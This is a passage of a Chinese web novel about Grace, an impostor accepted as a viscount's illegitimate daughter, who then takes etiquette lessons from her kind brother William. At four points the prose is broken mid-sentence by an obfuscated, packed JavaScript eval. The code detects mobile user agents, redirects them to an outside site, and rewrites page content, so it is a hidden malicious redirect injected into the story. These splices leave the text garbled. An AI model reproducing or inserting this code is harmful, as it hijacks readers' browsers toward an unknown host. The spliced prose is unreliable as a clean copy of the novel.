凯瑟琳轻轻拍了拍威廉的手臂，示意他冷静。 “哥哥，我们只是不想让父亲的名誉受损。” 她转向母亲艾米莉夫人，眼中闪过一丝精明。 “母亲，前些日子我们不是正看到父亲书房里的那副画像吗？既然格蕾丝小姐声称是她的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599204|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不如让大家看看，她们之间是否真有相似之处？” 艾米莉夫人在那之后就一直沉默地坐在壁炉旁的高背椅上，睨视着她的儿子。 她保养得宜的脸上看不出表情，只有那双与威廉如出一辙的绿眼睛闪烁着冰冷的光芒。 “查尔斯，”她唤来管家，“去书房把那副画像取来。” 等待的几分钟里，客厅里的气氛再度紧张了起来，安静得几乎能听见针落地的声音。窗外的雪还在静静地下着，壁炉里的木柴发出十分轻微的爆裂声。 格蕾丝站在原地一动不动，几乎像一尊雕像了。威廉几次想开口说些什么，但最终只是烦躁地扯了扯领结。 管家很快回来了，手中捧着一个精致的画像框。 艾米莉夫人接过相框，眼神在上面停留了片刻，才缓缓递给了身旁的伯爵夫人。 “天哪！”伯爵夫人小声惊呼，“这可真是……”她的话并没有说完，但瞪大的眼睛已经说明了一切。 画像在宾客间传递，每到一处都会引起一阵惊叹和窃窃私语。 当画像传到威廉手中时，他愣住了。 画中的女子有着惊人的美貌——浓密的亚麻色头发如瀑布般垂落，那双茶褐色的眼睛仿佛会说话，欲言未语之间仿若明珠泪垂，皮肤更是如瓷器一般白皙无瑕。但最令人震惊的是，那五官与埃斯特家族的特征如出一辙。 “这是……”威廉的声音有些干涩，眼前所见有些超脱了他的认知。些许不好的预感在心头盘旋。 “你父亲的情妇。”艾米莉夫人的声音平静得可怕，“至少他在这一点上没有撒谎，她确实很美。” 画像最终回到了艾米莉夫人手中。 她站起身，缓步走向格蕾丝，每一步都像踩在她的心上。 “现在，格蕾丝小姐，”她的声音轻柔却不容拒绝，“请摘下你的面纱吧，让大家看看你是否真的与这位‘母亲’相似。” 格蕾丝后退了一步。 “我……” “怎么？你不敢吗？”玛格丽特尖声道，“还是说你根本就是个冒牌货？” 凯瑟琳也走上前来，脸上带着胜券在握的微笑。 “如果她真是父亲的女儿，为何不敢以真面目示人？除非……”她的目光变得锐利，“她知道自己与画像毫无相似之处。” 宾客们的目光如利箭般射向格蕾丝。 她能感觉到汗水顺着自己的后背滑下，但她的决计不能退缩：“我从未说过自己与母亲长得相似。” “但信上说了。” 凯瑟琳迅速反击，从卢卡斯手中拿过那封信，“看这里——‘我们的女儿有着与你一般相似的美丽相貌’。如果这是真的，那么你应该与画像中的女人至少有些相似之处。” 威廉皱起眉头：“凯瑟琳，别太过分了。” “过分？”凯瑟琳冷笑，“有人冒充我们的姐妹来分家产，这才是真的叫做过分。” 艾米莉夫人已经失去了耐心。 “摘下面纱。”她命令道，“否则就立刻离开这间房子。” 客厅里鸦雀无声，所有人都屏息等待着格蕾丝的反应。 她沉默了片刻，终于缓缓抬起手，解开了系在脑后的面纱绳结。 面纱飘落的那一刻，客厅里响起一片惊呼。 12. 第十二章 来自女人内心深处的诅咒/非常咸，非常苦，非常好。 ——《如何抑制女性写作》 格蕾丝摘下面纱后，客厅内顿时发出一阵惊呼。 格蕾丝的相貌几乎看不出原来的样子了，即便天花已经痊愈，这场疾病带给她的面部的创伤面仍然很大，原本干净白整的面上布满了崎岖的伤痕，更可怕的是她左脸上的那一个深深的痘疤，明眼人都能看出来格蕾丝的相貌很难再恢复原貌了。 格蕾丝不顾场上宾客们的抽气，再一把拉下她灰扑扑的裙装，露出大半布满创痕的肩膀，直言道：“瞧吧！这就是我同父异母的姐姐们与慈爱的‘母亲’所对我做的。” “那样严寒的冬日，那样凛冽的大风，让我与蓓丽去为她们拣取柴火。试想若不是怀有恶毒的心思，怎会有如此的行为。” 宾客们议论纷纷。 “纵使命运眷顾了我，让我在毒蛇盘踞的阴谋中活了下来，” “可再看看我脸上的伤疤，身体上的伤痕，” “没有人不会怜惜我的过往。” 她的声音不高，却足以让整个客厅陷入死寂。 窗外雪下大了，鹅毛般的大雪纷纷洒洒，落在这个庄园里，庄园很安静，天地一色，唯有洁白。 格蕾丝用指尖轻轻抚过左脸的疤痕，眼中闪过一丝痛楚，但很快又被冷意取代，她接着说道：“只有她们，仍然在大雪纷飞的冬日强迫我劳作，使我的伤痕难以恢复。” “限制我的出行，严禁我来到宴会上。” “若这不是对我的容貌心存妒嫉，何以解释？” 卢卡斯·霍华德站在人群边缘，露出一抹玩味的笑容。他适时地开口，假装面带沉痛地道：“关于这一点，我可以为这位勇敢坚强的小姐作证。方才确有仆从阻拦格蕾丝小姐进入宴会。” 这句话如同投入油锅的火星，瞬间点燃了宾客们的情绪。议论声愈发激烈，许多人看向玛格丽特和凯瑟琳的眼神已带上谴责。 两人脸色煞白，颤抖着想要反驳，却拿不出更多的证据，更是被众人的目光钉在了原地。 格蕾丝的悲惨遭遇与卢卡斯的作证相契合，再没有人质疑她的身份，更无人提及她的相貌是否与子爵相似。 格蕾丝装作伤心地低着头，唇角不显眼地扬起一抹得逞的笑意。 威廉眉头紧锁，目光在格蕾丝与两个妹妹之间来回游移。他其实原本对格蕾丝的私生女身份也有些许的犹疑，可眼前妹妹们惨白的脸色，格蕾丝悲愤的控诉，又想起格蕾丝的泪水，他确信了这一点。 他转向父亲，低声请示：“父亲，我们不能任由流言继续发酵，这对家族的声誉不利。” 子爵大人沉默地注视着格蕾丝，眼神复杂难辨。 他当然知道真相。格蕾丝并非他的私生女，真正与他有血缘关系的是那个已经死去的蓓丽。可此刻，面对满厅宾客的注视，面对长子期待的目光，他陷入了长久的沉默。 时间一分一秒地流逝，宾客们的讨论声渐渐低了下去，所有人的目光都聚焦在这位一家之主身上。 终于，子爵缓缓开口：“这件事……是我们埃斯特家族的家事，需要再议。” 然而，卢卡斯立刻站了出来，高声反驳：“子爵大人，恕我直言，这样的丑闻若不立即澄清，只会让流言愈演愈烈。作为贵族，坦诚与公正才是维护声誉的根本。” 威廉也看向父亲，眼中带着不赞同：“父亲，格蕾丝已经遭受了太多不公，我们不能继续忽视她的存在。” 宾客们的目光如针刺般扎在子爵身上。他环视一周，最终将视线定格在格蕾丝脸上。她的眼神倔强而冷静，没有丝毫怯懦。 不知是出于对妻子艾米莉夫人常年高压管控的报复，还是对死去的蓓丽的愧疚，亦或是对格蕾丝这番大胆行径的好奇，子爵缓缓点头，声音低沉而清晰：“格蕾丝……确实是我的女儿。” 客厅内一片哗然。 玛格丽特和凯瑟琳几乎同时惊呼出声：“父亲！” 格蕾丝微微欠身，向子爵大人行了一个礼，眼中闪过一丝难以察觉的复杂情绪。她抬起头时，脸上又恢复了那种楚楚可怜的神情，仿佛刚才那一瞬的异样从未存在过。 “感谢您的仁慈，父亲大人。”她的声音轻柔，却足以让在场的每一个人都听得清清楚楚。 艾米莉夫人的脸色变得铁青，她紧握着扇子的手指节发白，显然在极力克制着自己的愤怒。 玛格丽特和凯瑟琳则站在母亲身后，眼中充满了难以置信和愤恨。她们怎么也没想到，父亲竟然会当众承认这个来历不明的女孩。 威廉则松了一口气，走上前轻轻拍了拍格蕾丝的肩膀，温和地说道：“欢迎回家，妹妹。” 格蕾丝回头复杂地看了他一眼说道： “谢谢您，我亲爱的威廉哥哥。” 宾客们见状，纷纷上前表示祝贺和同情。 格蕾丝被围在中间，接受着众人的慰问。她的表现无可挑剔，每一个回应都恰到好处，既不过分热情，也不显得冷漠。 卢卡斯站在一旁，嘴角挂着一抹玩味的笑容。 他注意到格蕾丝在人群中的游刃有余，这让他对这个女孩产生了更大的兴趣。 他走上前，微微鞠躬：“格蕾丝小姐，您的勇气真是令人钦佩。如果有任何需要帮助的地方，请随时告知我。为您这样的女士效力，对我而言是至高无上的荣幸。” 格蕾丝漠然地点头：“谢谢您，卢卡斯先生。您的支持对我来说也意义重大。” 宴会的气氛逐渐恢复，但仍然暗流涌动。 艾米莉夫人终于按捺不住，冷冷地说道：“既然事情已经解决了，我想宴会也该继续了。格蕾丝，你身体还未完全康复，不如先回房休息。” 子爵大人皱了皱眉，但并未反对。格蕾丝顺从地点头：“是的，母亲大人。我确实有些疲惫。” 威廉担忧地说道：“我送你回房吧。” 格蕾丝摇摇头，微笑道：“不用了，哥哥。您还有很多客人要招待。我自己可以。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599205|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她向众人行了一礼，缓缓离开了客厅。走出门的那一刻，她的表情瞬间冷了下来。走廊里空无一人，只有格蕾丝的脚步声在寂静中显得格外清晰。 回到房间，她立刻关上门，靠在门板上深吸了一口气。镜子里的自己已然面目全非，但她的眼中却闪烁着痛苦又坚定的光芒。 “这只是第一步。”她低声自语。 与此同时，在楼下的书房里，子爵大人独自一人站在窗前，手中握着一杯烈酒。他的目光落在远处，思绪却飘回了过去。 多年前的那个夜晚，他与蓓丽的母亲，那个温柔却命运多舛的女人，那个埃斯特家族的私生女，在花园里私会的情景还历历在目。他答应过会照顾他们的女儿，却最终没能兑现承诺。 他们之间的结合是罪孽，但罪孽并未因远离而终结。 “蓓丽……”他喃喃道，眼中有了些许的悔恨。 * 格蕾丝站在窗前，手指轻轻摩挲着窗户上的纹路。 新房间比她原先所住的地方宽敞得多，冬日的阳光透过明亮的彩漂窗台倾洒了进来，一齐落在地上闪闪发光。地上铺着柔软的波斯地毯，细密精致的花纹在阳光下清晰可见。 她低头看着自己粗糙的手指，指节处还留着冻疮的痕迹，和这间华丽的卧室格格不入。 但她身上已换上了低领掐腰的青色绸缎长裙，忽略脸上的痘疤和手上的粗糙，表面上看去，她与一位真正的贵族小姐几乎毫无差别了。 “格蕾丝小姐，您的茶。” 新来的贴身女仆瑞娜将茶杯轻轻放在茶几上，体贴地将茶杯把手调转至右侧。 “谢谢。” 门突然被推开，女管家梅德带着一阵冷风走了进来。 她灰白的头发梳得一丝不苟，嘴角下垂，神色严肃板正： “格蕾丝小姐，夫人为您安排的礼仪课将在半小时后开始。威尔逊女士已经在小客厅内等候您了。” 格蕾丝放下茶杯，瓷器相碰之间发出了清脆的声响。 “我马上就去。” 梅德的目光扫过她随意搭在椅背上的披肩，皱起了眉头：“一位淑女应当保持房间的整洁。瑞娜，你难道没有教过小姐如何整理衣物吗？” 瑞娜的脸色瞬间变得苍白。 格蕾丝看到她紧张地绞紧了裙子。 “是我还没来得及学习。” 格蕾丝站起身，主动将披肩折好放在衣柜里。这个动作让她后背的伤疤隐隐作痛，那些因天花反复出痘留下的痕迹并未完全消除。 小客厅的窗帘半拉着，半数的阳光被拦截在外，只有少数的阳光丝丝缕缕地漫进来。 威尔逊女士站在房间的正中央，手里握着一根藤条，细细长长的藤条在冰凉的地板上投下一道阴影。她是个瘦高的女人，颧骨突出，不苟言笑，眼睛总是下垂着看人。 “迟到了三分十二秒。” 威尔逊女士看了眼怀表，“淑女应当提前五分钟到达约定地点。脱掉你的外套，格蕾丝小姐。” 13. 第十三章 礼仪不过是优雅的虚伪。 ——《不可儿戏》 格蕾丝咬紧牙关。 她知道接下来会发生什么，这已经是本周第三次了。 藤条抽在小臂上的疼痛比预想的更剧烈，她死死咬住下唇才没叫出声来。 “挺直脊背！”威尔逊女士厉声道，“一位子爵小姐不会像市集上的鱼贩那样弓着背走路！” 几乎一整个上午都在重复着枯燥的行走、行礼、坐姿训练。 格蕾丝的膝盖因为不断屈膝而隐隐作痛，后背的肌肉也因长时间保持挺直而痉挛。 当威尔逊女士终于宣布午休的时候，她的衬衣已经被汗水浸了个透。 走廊里传来脚步声。 格蕾丝抬头，看见威廉·埃斯特站在门口。阳光从他背后照进来，在地板上投下修长的影子。他身穿着深棕色的骑马装，手里还拿着马鞭，显然是刚从外面回来。 “威尔逊女士，”威廉的声音带着贵族特有的那种温和却不容置疑的语调，“我想父亲应该说过，格蕾丝小姐的课程进度可以适当放缓。” 威尔逊女士的嘴唇抿成一条细线：“威廉少爷，子爵夫人明确要求——” “我会亲自向母亲解释。” 威廉打断她，目光落在格蕾丝红肿的手背上，眉头几不可察地皱了一下，“格蕾丝，能和我到花园走走吗？” 冬日里的花园还带着几分寒意，小块小块的雪堆积在树叶上，但阳光已经足够温暖。 格蕾丝始终保持在威廉身后半步的距离，走了会儿，她的思绪开始漫无目的地开始神游，思考着等下该如何拿到厨房那份属于自己的午餐，瑞娜已经连续好几天没有取到足够分量的午餐了。 “你不必忍受这些。” 威廉突然停下脚步，转身看着她，“我知道母亲和妹妹们对你的态度，但父亲既然承认了你的身份，你就该得到应有的尊重。” 格蕾丝惊醒了过来，思绪一转，垂下了眼睛，长长的睫毛在脸上投下小小的一片阴影。 她回答道：“谢谢您的关心，威廉少爷。但我确实需要学习这些……毕竟我以前的生活……” “叫我威廉就好。” 他将声音尽力柔和了下来，“毕竟我们是亲兄妹，不是吗？” 格蕾丝抬起头，第一次认真打量这个名义上的兄长。 他的眼睛是埃斯特家特有的松石绿，眼中的翠色较他的两个妹妹玛格丽特和凯瑟琳更深沉，宛如一汪碧绿幽深的潭水，下巴的线条则坚毅，与子爵如出一辙。不出意外，再过几年，他也会长成一位绅士英俊的男性。 一种复杂的情绪在她心中翻涌，这个真诚的年轻人正把她当作血脉相连的亲人，而她却…… “你的手。” 威廉突然握住她的手腕。 格蕾丝本能地想抽回手，却被他小心地托住，“威尔逊女士做得是太过了，我会与母亲商议，等会儿管家会给你送些膏药。” “你穿这件衣服很合适，很漂亮，你该多出来活动活动。”威廉顿了顿说。 他的手掌温暖干燥，与格蕾丝记忆中那个在冬日里安慰她的少年重叠在一起。 格蕾丝突然感到一阵窒息般的愧疚。 她迟疑着尝试开口：“其实您不必……” “威廉少爷！” 管家的声音从远处传来，“子爵大人找您，关于下个月的狩猎聚会。” 威廉松开手，对格蕾丝歉意地笑了笑：“晚些时候我再来看你。” 他转身离去。 格蕾丝独自站在花园里，阵阵洌风吹拂起她额前的碎发。她抬起手腕，低头看着刚刚被威廉握过的地方，那里似乎还残留着温度。 威廉的善意是个意外也是预料之中，她思考着到底要不要利用他。接近家族继承人意味着接近权力中心，也接近她复仇计划的核心。 “看来你的表演很成功。” 格蕾丝猛地转身。卢卡斯·霍华德不知何时出现在她身后，靠在一棵修剪成球状的灌木上，脸上挂着惯常的玩世不恭的笑容。 “我不知道你在说什么。”格蕾丝冷静地说，同时迅速环顾四周确认没有旁人。 卢卡斯轻笑一声：“得了吧，格蕾丝。或者我该叫你……冒牌货？” 格蕾丝的心跳漏了一拍，但她的表情丝毫未变：“如果你来是为了威胁我……” “威胁？”卢卡斯夸张地捂住胸口，“你伤了我的心。我是来祝贺你的。子爵承认了你的身份，威廉少爷对你青睐有加……相当了不起的成就，考虑到你的……真实情况。” 他走近一步，声音压低：“我只是好奇，当威廉知道他悉心教导的‘妹妹’其实是个骗子时，会作何反应？” 格蕾丝直视他的眼睛：“你想要什么？” 卢卡斯微笑说：“什么也不，我亲爱的格蕾丝。” 他看了看怀表说道：“时间到了。我们下次见，亲爱的骗子小姐。” 不等格蕾丝回应，卢卡斯就转身离开了，他的脚步声很快消失在花园小径上。 回到房间后，格蕾丝发现梳妆台上多了一个小巧的瓷盒。 打开后，一股淡淡的药香飘散出来。 盒子里装着淡绿色的药膏，旁边压着一张字条：“每日三次，有助于消肿。——威廉” 格蕾丝将字条取下，放入抽屉里折叠收好，这是为数不多的真正属于她的东西。 * 第二天，清晨的阳光仍旧如昨日一般透过窗帘的缝隙洒进房间。相较于昨日的时间，格蕾丝已经穿戴整齐地坐在梳妆台前，等待着瑞娜为她梳理那头过于浓密的栗色长发。 “格蕾丝小姐，您今天想梳什么样的发型？”瑞娜问道，手指熟练地将一绺头发挽起。 格蕾丝注视着镜中的自己，经过修养后的脸比起之前好上了许多，痘疤几乎全都消失不见了，唯有左脸那个疤痕，用了许多方法都难以彻底消除。这张脸庞上，这具身体中，或许最讨喜的只剩下这双浅褐色的眼睛了，格蕾丝心想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599206|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “随你喜欢吧。”她轻声回答。 头发还未梳理完毕，门外就响起了敲门声。 格蕾丝和瑞娜交换了一个疑惑的眼神。这个点，应该还没到女管家梅德夫人平日里过来的时间。 "请进。"格蕾丝说道。 门开了，站在门口的却是一个高瘦的男人，穿着贴身的仆装，领口和袖口都熨烫得一丝不苟。格蕾丝立刻认出了他，他是威廉的贴身男仆约翰。疑惑充满了她的内心，但脸上已经迅速挂上了礼貌的微笑。 “早上好，约翰先生。”她微微颔首。 约翰站在门口，面上带着恭敬的表情。“格蕾丝小姐，威廉少爷请您今天去他的书房上礼仪课。”他的声音平稳，眼神下垂不与格蕾丝对视。 “真是荣幸。”格蕾丝站起身，整理了一下裙摆，“请带路吧，约翰先生。” 走出房门时，格蕾丝刻意落后约翰半步，让瑞娜跟在身后。走廊里铺着厚实的地毯，他们的脚步声被完全吸收。格蕾丝的目光落在约翰的后背上，眼神中闪过一丝鄙夷。 这个在威廉感染天花时躲得远远的懦夫，现在居然还能站在这里，继续做他的贴身男仆？格蕾丝在心里冷笑。如果是她，早就把这种不忠的仆人赶出府邸了，威廉果然太过仁慈。 “小姐？”瑞娜小声提醒，格蕾丝这才发现自己走神了。她迅速调整表情，重新挂上那副温顺的面具。 约翰在一扇橡木门前停下，轻轻敲了两下。 “请进。”门内传来熟悉的男声。 约翰推开门，侧身让格蕾丝先行。她深吸一口气，迈步走进了书房。 威廉的书房比她想象中的要宽敞许多。书房三面墙打满了木制书架，里边满满当当地塞满了各类用皮革作封面的书籍，书籍看上去并不大新，但是很干净，显然有人常常打扫。书房的正中央是一张宽大的红木书桌，上面整齐地摆放着几叠文件、一瓶墨水瓶和一支细长羽毛笔。阳光透过高大的落地窗洒进来，房间透亮。 威廉坐在书桌前办公，听到脚步声，他抬起了头。见到格蕾丝的瞬间，他的嘴角就弯起了微笑，但是并非是惯常的那种，具体是什么样的笑容，格蕾丝觉得有些难以形容，但是确认比平日里所见到的那些温暖许多，或许是今日的阳光特别明亮的缘故吧，格蕾丝心想。他今天穿着一件墨绿色的外衣，与他的深绿的瞳色相衬，显得很漂亮。尽管只比格蕾丝年长五岁，但他看起来已经十分沉稳。 “格蕾丝，早上好。”威廉向她走来。 格蕾丝立刻行了一个标准的屈膝礼，头低垂着，姿态谦卑。“早上好，威廉哥哥。感谢您亲自教导我礼仪。” 威廉伸手虚扶了一下，“我想我们之间不必这么拘礼，起来吧。再让你行礼你肯定偷偷在心里骂我呢。”他的目光扫过格蕾丝的发顶，似乎能看透她精心维持的表面恭敬。 格蕾丝直起身，但眼睛仍然低垂，不与威廉对视。 “坐吧。”威廉指了指书桌前的一把椅子，“我们今天从最基本的开始。” 14. 第十四章 若要美丽的眼睛，请看到别人的优点；若要美丽的双唇，请只说善意的言语；若要优雅的姿态，请记住你从不孤单。 ——AudreyHepburn 格蕾丝小心地按照威尔逊夫人先前所教学的坐姿坐下。脊背笔直，双手交叠置于膝上。 “哦，格蕾丝，放松些，我可爱的妹妹。”威廉的声音透着笑意，“果然不该让威尔逊夫人教你，看把你教学得像一个小老太太了。” “贵族女性坐下时，背部通常是挺直的但不僵硬，肩膀放松一些，下巴再微微抬起。”威廉在旁指导着。 格蕾丝跟着威廉的指示一点点调整着姿势，但一举一动之间动作还是显得很刻意。 威廉转身回到了桌子前，手撑着脑袋看了会，或是觉着格蕾丝一顿一顿的动作很可爱，偷偷笑了起来。 格蕾丝听见威廉压着的笑声，抬起头用眼神瞪了一眼，但又怕好不容易调整好的姿势功亏一篑，所以全身只有脑袋在动，眼神在恶狠狠斜着威廉，整个人像个布娃娃一样，精致可爱。 威廉见状轻咳一声，收敛了笑容。 “还是有些太僵硬了”，“我亲爱的妹妹，你几乎让我觉你是一名勇敢的绅士，即将要上前线去打仗的那种。想象一下你的脊椎是一根柔软的芦苇，而不是木棍。” 格蕾丝试着放松，但还是效果不佳。 “瑞娜，”威廉转向站在一旁的女仆，“能请你帮格蕾丝小姐调整一下肩膀的位置吗？” 瑞娜快步上前，轻轻按住格蕾丝的肩膀向后下方压了压。“格蕾丝小姐，这样会舒服些。” 格蕾丝跟着瑞娜的力道试着放松自己的脊背，姿态渐渐有了样子。 “很好，现在保持这个姿势。”威廉接着说：“接下来是手的摆放。不要绞在一起，自然放松地放在大腿上，手指可以轻轻交叠。” 格蕾丝照做了，但她的手指仍然紧绷，仿佛想要抓住什么东西似的。 威廉站起身，绕到她身后。随着他的靠近，格蕾丝能闻到他身上淡淡的香味，是一种鸢尾根混合着一丝淡淡的墨水的清香。他的手指轻轻搭在她的肩膀上，“放松，格蕾丝。没有人会吃了你。” 这亲昵的举动让格蕾丝浑身一僵。在福利院的十六年里，几乎没有一个男性像威廉这样触碰过她，她本能地想要躲开，但理智让她强迫自己留在原地。 “抱歉，”威廉似乎察觉到了她的不适，立刻收回了手，“是我太过冒犯了。”他脸上的神情又恢复了那种克制温和的样子，和格蕾丝大多数时候所见到的一样。 格蕾丝摇摇头说道：“没有关系的，威廉哥哥。我只是，刚开始有些不太适应。” 威廉却没立刻回答，他转身回到了座位上，若有所思地看着她。 “你知道吗？我第一次上礼仪课时，把茶打翻在了公爵夫人的裙子上。” 格蕾丝惊讶地抬起头，她其实很少直视威廉的眼睛，因为那双眼睛里不论呈现的不论是善意还是温和都会使她感到愧疚。这一次，那双翠绿色的眼睛里盛满了温和的笑意，没有一丝嘲笑或轻蔑。 “真的吗？”她忍不住问道，声音里带着真实的惊讶。 “千真万确。”威廉笑道，“那时候我十二岁，紧张得手都在抖。老管家差点当场晕过去。” 格蕾丝嘴角微微上扬，紧绷的肩膀终于放松了一些。“那……公爵夫人怎么说？” 威廉假装思考了一会儿，然后模仿起一位老妇人的声音说道：“她大笑了三声，然后说‘这孩子有胆量，我喜欢’。”这声音逗得格蕾丝轻笑出声。 气氛突然之间变得轻松了起来。格蕾丝发现自己的手指不再绞在一起，背部也自然地挺直了。 “就是这样，”威廉赞许地点头，“优雅来自于自信，而不是刻意的模仿。” 格蕾丝立马不服地回复了：“那按这个逻辑来说，第一个优雅的人难道是凭空自信的咯！” 威廉一愣，立马哈哈大笑了起来，被格蕾丝逗得直摆手，那双绿色的眼睛生动鲜明地注满了笑意。 威廉的笑声在阳光明媚的客厅里回荡，连站在角落的瑞娜都忍不住抿嘴偷笑。格蕾丝看着他们，突然意识到自己刚才说了多么大胆的话，脸颊立刻泛起淡淡的红晕。 “我亲爱的哲学家小姐，”威廉好不容易止住笑，用手帕擦了擦眼角，“你说得对极了。第一个优雅的人大概是在无数次出丑后，才学会假装自信的。” 他站起身，走到窗前拉开厚重的窗帘。窗外的阳光倾泻而入，为格蕾丝的栗色长发镀上一层淡淡的光晕。“那么不如我们换个方式？想象你是一只在晒太阳的猫。” 格蕾丝眨了眨眼：“猫？” “对，就是花园里那些傲慢的小家伙。”威廉模仿着猫的姿态，慵懒地伸展了一下，“它们从不会担心自己的尾巴摆得对不对，却总是优雅得让人嫉妒。” 这个古怪的比喻让格蕾丝忍俊不禁。她试着放松身体，像午后打盹的猫咪那样微微后仰。阳光透过蕾丝窗帘在她裙摆上投下斑驳的光影，这一刻她忽然觉得，或许优雅真的不该是种折磨。 “太完美了！”威廉轻声赞叹，“看，连瑞娜都看呆了。” 女仆慌忙低下头，但格蕾丝已经从镜子的倒影里捕捉到她惊讶的表情。镜中的少女姿态舒展，浅黄色的裙装衬得她像一朵清晨绽放的矢车菊。 “现在试试站起来。”威廉伸出手，“记住猫咪起身时的样子。” 格蕾丝顺从地将指尖轻轻搭在他的手掌上。这一次，她没有因为触碰而僵硬。当她站定时，裙摆如花瓣般自然垂落，没有一丝刻意调整的痕迹。 “天啊，”门口传来威尔逊夫人的声音，“威廉少爷，您对我的学生做了什么？” 严厉的家庭教师抱着厚厚的书籍站在那里，眉头紧锁。格蕾丝条件反射地绷直了背脊，却在余光里看见威廉悄悄对她眨了眨眼。 “只是在教她一些……更实用的技巧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599207|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”威廉转向夫人，脸上又恢复了那种得体的微笑，“您不觉得格蕾丝现在看起来更自然了吗？” 威尔逊夫人板着脸狐疑地打量着格蕾丝，最后不得不承认：“确实……不那么像木偶了。但淑女的仪态——” “——应该像一首好诗，”威廉接过话头，“既有格律，又不失灵动。”他顿了顿说道：“夫人若不信，不如再看看格蕾丝如何行屈膝礼？” 格蕾丝倒吸一口气。屈膝礼她虽然做的不错，但其实每次练习都会因为重心不稳而摇晃，这点被威尔逊夫人指出过好多次了。但在威廉鼓励的目光下，她深吸一口气，回忆着猫咪弓背时的优雅曲线。当她缓缓屈膝时，意外地发现这次居然没有一丝颤抖。 威尔逊夫人似乎有些惊讶和不满，她深深皱起了眉：“这……这确实……” “像月光下的天鹅，不是吗？”威廉的声音里暗藏着骄傲。 格蕾丝站起身时，第一次真切地感受到什么是“优雅”。那不是威尔逊夫人所教导的刻板的规矩堆砌，而是内心深处绽放的从容。她望向威廉，发现他碧绿的眼眸中映着两个小小的自己——不再是那个瑟缩的福利院女孩，而是一位真正的淑女。 格蕾丝忽然明白了威廉所说的秘密："Mannersmakethman."。 紧接着，威廉准备再接再厉，趁着格蕾丝整个人都卸下防备的时候，让她对于礼仪的学习和认知更加轻松。 于是他想了想，准备再教格蕾丝一个有趣的礼仪，是有关于贵族如何打喷嚏。 威廉轻轻拍了拍手，眼中闪烁着狡黠的光芒：“现在，让我们来学习一个非常有趣的贵族礼仪——如何优雅地打喷嚏。” 格蕾丝眨了眨眼，有些困惑：“打喷嚏也需要学习吗？” “当然，”威廉故作严肃地点头，“一个淑女即使在打喷嚏时也要保持优雅。要知道，在维多利亚女王的宫廷里，有人因为打喷嚏太大声而被禁止参加舞会整整三个月呢。” 格蕾丝半信半疑地看着他：“威廉哥哥，你该不会是在捉弄我吧？” 一旁的瑞娜忍不住小声提醒：“小姐，少爷这次说的确实是真的。” 威廉从口袋里掏出手帕，示范性地展开：“首先，当感觉到要打喷嚏时，要迅速但从容地取出手帕。” 他优雅地将手帕对折成三角形：“然后像这样，轻轻抵在鼻尖下方约一寸的位置。”他的动作流畅得像是在表演一场小型哑剧。 格蕾丝试着模仿，但手帕在她手中显得有些笨拙。威廉走近一步，耐心地纠正她的手指位置：“拇指在这里，食指和中指要这样支撑……” 就在这时，格蕾丝突然感到鼻子一痒—— “阿嚏！”一个猝不及防的喷嚏打破了客厅的宁静。 手帕从她手中滑落，她慌乱地捂住嘴，脸颊瞬间涨得通红。威尔逊夫人倒吸一口冷气，瑞娜急忙别过脸去掩饰笑意。 但威廉却突然鼓起掌来：“完美！”